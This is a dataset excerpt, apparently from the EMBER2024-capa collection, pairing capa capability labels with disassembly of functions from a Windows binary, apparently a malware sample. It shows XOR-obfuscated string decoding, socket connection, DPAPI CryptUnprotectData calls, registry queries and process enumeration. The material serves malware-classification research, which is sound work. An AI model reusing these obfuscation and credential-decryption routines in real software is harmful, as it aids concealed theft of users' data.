joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416ba0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416bf4
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.004028a0
mov dword [ebp - 0xd], 0xdddcdff5
xor ecx, ecx
mov dword [ebp - 9], 0xacdaf6d1
mov dword [ebp - 5], 0xb1a7b1
mov byte [ebp - 1], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x416c28
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x416c40
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046b770
add esp, 0xc
cmp eax, 0xffffffff
jne 0x416d3d
mov dword [ebp - 0xe], 0xcedecaf6
xor ecx, ecx
mov dword [ebp - 0xa], 0xaed0fddc
mov dword [ebp - 6], 0xb0a0a7af
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x416c92
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416cb0
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046b770
add esp, 0xc
cmp eax, 0xffffffff
jne 0x416d3d
mov dword [ebp - 0xb], 0xcceefff0
xor ecx, ecx
mov dword [ebp - 7], 0xa5cbdfd9
mov word [ebp - 3], 0xb3
mov byte [ebp - 1], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x416cf2
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x416d10
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046b770
add esp, 0xc
cmp eax, 0xffffffff
jne 0x416d3d
xor bl, bl
jmp 0x416d3f
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x416d6c
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x416d62
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d75
push ecx
push edi
call fcn.004dd461
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e2700
int3
Function at 0x418890
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2e], 0
je 0x4188b2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x2d
jb 0x4188a0
mov byte [esi + 0x2e], 0
mov eax, esi
pop esi
ret
Function at 0x41e490
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x41e4b2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x41e4a0
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
ret

Function at 0x41e4c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x41e4e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x41e4d0
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
ret

Function at 0x41e580
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41e686
push eax
push 0x16b5
call fcn.00407d20
push 0
push 0x164d
movzx eax, byte [eax + 0x537ef8]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00407d20
add esp, 0x10
cmp esi, eax
jne 0x41e5ee
cmp dword [esp + 0x10], edx
je 0x41e686
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41e680
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41e694
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41e680
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41e690
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41e644
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41e680
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fb30
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504e58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x24
push esi
push 0x5380b4
mov dword [ebp - 4], 0
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x41fcd6
mov dword [ebp - 0x1c], 0xc0ebfbf4
xor ecx, ecx
mov word [ebp - 0x18], 0xe1
mov byte [ebp - 0x16], 1
nop
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41fb90
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fba8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41fcdc
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x19]
lea ecx, [ebp - 0x34]
call fcn.0046db90
mov byte [ebp - 4], 1
mov eax, dword [0x5381b8]
cmp eax, dword [0x5381bc]
je 0x41fc15
movups xmm0, xmmword [ebp - 0x34]
mov ecx, 0xf
mov byte [ebp - 0x34], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [eax + 0x10], xmm0
add dword [0x5381b8], 0x18
jmp 0x41fc27
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x5381b4
call fcn.00472e10
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x41fc5c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fc52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fce1
push ecx
push edx
call fcn.004dd461
add esp, 8
push 0x5380b4
call fcn.004dc773
mov esi, dword [0x535aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.00466110
mov edx, 0x2714
mov ecx, esi
call fcn.0041ea80
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test al, al
setne al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x41fcc4
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fcb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41fce1
push ecx
push edx
call fcn.004dd461
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004dc40b
call fcn.00402060
call fcn.004e2700
int3
Function at 0x41ff20
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504e93
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x28
push esi
push edi
push 0
push 0x3367
mov dword [ebp - 4], 1
call fcn.00407d20
mov edi, eax
mov dword [ebp - 0x1c], 0x96c790c5
mov eax, dword [0x535aac]
add esp, 8
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov word [ebp - 0x18], 0xc1
mov byte [ebp - 0x16], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41ff84
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ffa0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4200ec
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
call fcn.0046db90
sub esp, 0x18
mov byte [ebp - 4], 2
mov esi, esp
lea eax, [ebx + 0x20]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1c], esi
push eax
call fcn.00465e90
mov ecx, dword [ebp - 0x14]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov edx, edi
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0041ea80
mov ecx, dword [ebp - 0x20]
add esp, 0x18
cmp ecx, 0x10
jb 0x420067
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42005d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4200f1
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x420097
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42008d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4200f6
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x4200d9
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4200cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4200f6
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402060
call fcn.004e2700
call fcn.004e2700
int3
Function at 0x4209b0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov ebx, edx
mov dword [ebp - 0x10], ecx
mov esi, 0x80
nop dword [eax]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call edi
test eax, eax
jne 0x4209f6
add esi, 0x10
cmp esi, 0x800
jbe 0x4209d0
cmp esi, 0x800
jae 0x420a1a
push 0x800
call fcn.004ebe7c
mov edi, eax
add esp, 4
test edi, edi
jne 0x420a23
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004df440
mov esi, dword [ebp - 0xc]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 8]
push edi
call fcn.004deec0
add esp, 0x18
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x2c]
movups xmmword [ebp - 0x2c], xmm0
push esi
push edi
call fcn.004028a0
lea eax, [ebp - 0x2c]
mov ecx, ebx
push eax
call fcn.00465f90
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x420aaa
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420aa0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ac5
push ecx
push edx
call fcn.004dd461
add esp, 8
push edi
call fcn.004eb726
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e2700
int3
Function at 0x423580
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x78], 0
je 0x4235a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x77
jb 0x423590
mov byte [esi + 0x78], 0
mov eax, esi
pop esi
ret
Function at 0x424d80
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x424da2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x424d90
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
ret
Function at 0x428780
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x86], 0
je 0x4287a7
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x85
jb 0x428790
mov byte [esi + 0x86], 0
mov eax, esi
pop esi
ret

Function at 0x4287b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x4287d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x4287c0
mov byte [esi + 0x57], 0
mov eax, esi
pop esi
ret
Function at 0x42ac10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x66], 0
je 0x42ac32
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x65
jb 0x42ac20
mov byte [esi + 0x66], 0
mov eax, esi
pop esi
ret
Function at 0x437060
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4b], 0
je 0x437082
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x437070
mov byte [esi + 0x4b], 0
mov eax, esi
pop esi
ret
Function at 0x439800
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2a], 0
je 0x439822
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x29
jb 0x439810
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
ret
Function at 0x43abb0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4e], 0
je 0x43abd2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x4d
jb 0x43abc0
mov byte [esi + 0x4e], 0
mov eax, esi
pop esi
ret
Function at 0x43f170
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507a4d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
push 0xff
call fcn.004ebe7c
push 0xff
mov edi, eax
push 0
push edi
call fcn.004df440
push 0xff
call fcn.004ebe7c
push 0xff
push 0
push eax
mov dword [ebp - 0x18], eax
call fcn.004df440
movaps xmm0, xmmword [0x527630]
add esp, 0x20
movups xmmword [ebp - 0x64], xmm0
xor ecx, ecx
mov dword [ebp - 0x44], 0x80b5bfa9
movaps xmm0, xmmword [0x5273d0]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0x8db2b1be
mov dword [ebp - 0x3c], 0x878c80
mov byte [ebp - 0x38], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x2b
jb 0x43f208
lea eax, [ebp - 0x14]
mov byte [ebp - 0x38], 0
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43f370
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xff
push eax
push edi
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x43f370
mov ecx, edi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x34], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f278
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x34]
call fcn.004028a0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, 1
jb 0x43f385
lea ecx, [eax - 5]
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
inc eax
lea ecx, [ebp - 0x50]
push eax
call fcn.004028a0
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmovae ecx, esi
add eax, 0xffffffef
push eax
push ecx
push dword [ebp - 0x18]
call fcn.004deec0
mov eax, dword [ebp - 0x3c]
add esp, 0xc
cmp eax, 0x10
jb 0x43f321
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x43f317
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f38a
push ecx
push esi
call fcn.004dd461
add esp, 8
push edi
call fcn.004eb726
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x43f35a
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f350
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f38f
push ecx
push edx
call fcn.004dd461
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00469620
call fcn.004e2700
call fcn.004e2700
int3
Function at 0x442360
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x442404
lea eax, [esp + 0x10]
mov dword [esp + 0x10], pe_nt_image_headers32
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4423fd
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x4423aa
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4423d0
test dl, dl
je 0x4423cc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4423d0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4423b0
xor eax, eax
jmp 0x4423d5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4423f9
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4423a0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x442410
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507dff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x50
push esi
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
push edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x2b], 0xdddececa
mov dword [ebp - 0x27], 0xb8da90d0
mov word [ebp - 0x23], 0xa4
mov byte [ebp - 0x21], 1
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x442490
xorps xmm0, xmm0
mov byte [ebp - 0x21], 0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4424c0
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004028a0
lea ecx, [ebp - 0x5c]
call fcn.00442360
mov ecx, dword [ebp - 0x48]
mov edi, eax
cmp ecx, 0x10
jb 0x442514
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44250a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44263e
push ecx
push edx
call fcn.004dd461
add esp, 8
test edi, edi
je 0x442629
cmp edi, 0xea60
jae 0x442629
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov edx, edi
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x18], 3
call fcn.00441d70
xor ecx, ecx
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x28]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4425c6
xor esi, esi
nop
lea eax, [edi + esi]
lea ecx, [ebp - 0x44]
cmp ecx, eax
je 0x4425a2
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x442595
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00465cf0
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x14]
sub ecx, edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x14], eax
jb 0x442580
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00468250
cmp dword [ebp - 0x34], 0
jbe 0x4425f9
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x44]
push ecx
cmp eax, dword [esi + 8]
je 0x4425f1
mov ecx, eax
call fcn.00466110
add dword [esi + 4], 0x18
jmp 0x4425f9
push eax
mov ecx, esi
call fcn.00472f30
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x442629
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44261f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44263e
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2700
int3
Function at 0x445330
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1e], 0
je 0x445352
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x1d
jb 0x445340
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
ret

Function at 0x445360
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x37], 0
je 0x445382
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x36
jb 0x445370
mov byte [esi + 0x37], 0
mov eax, esi
pop esi
ret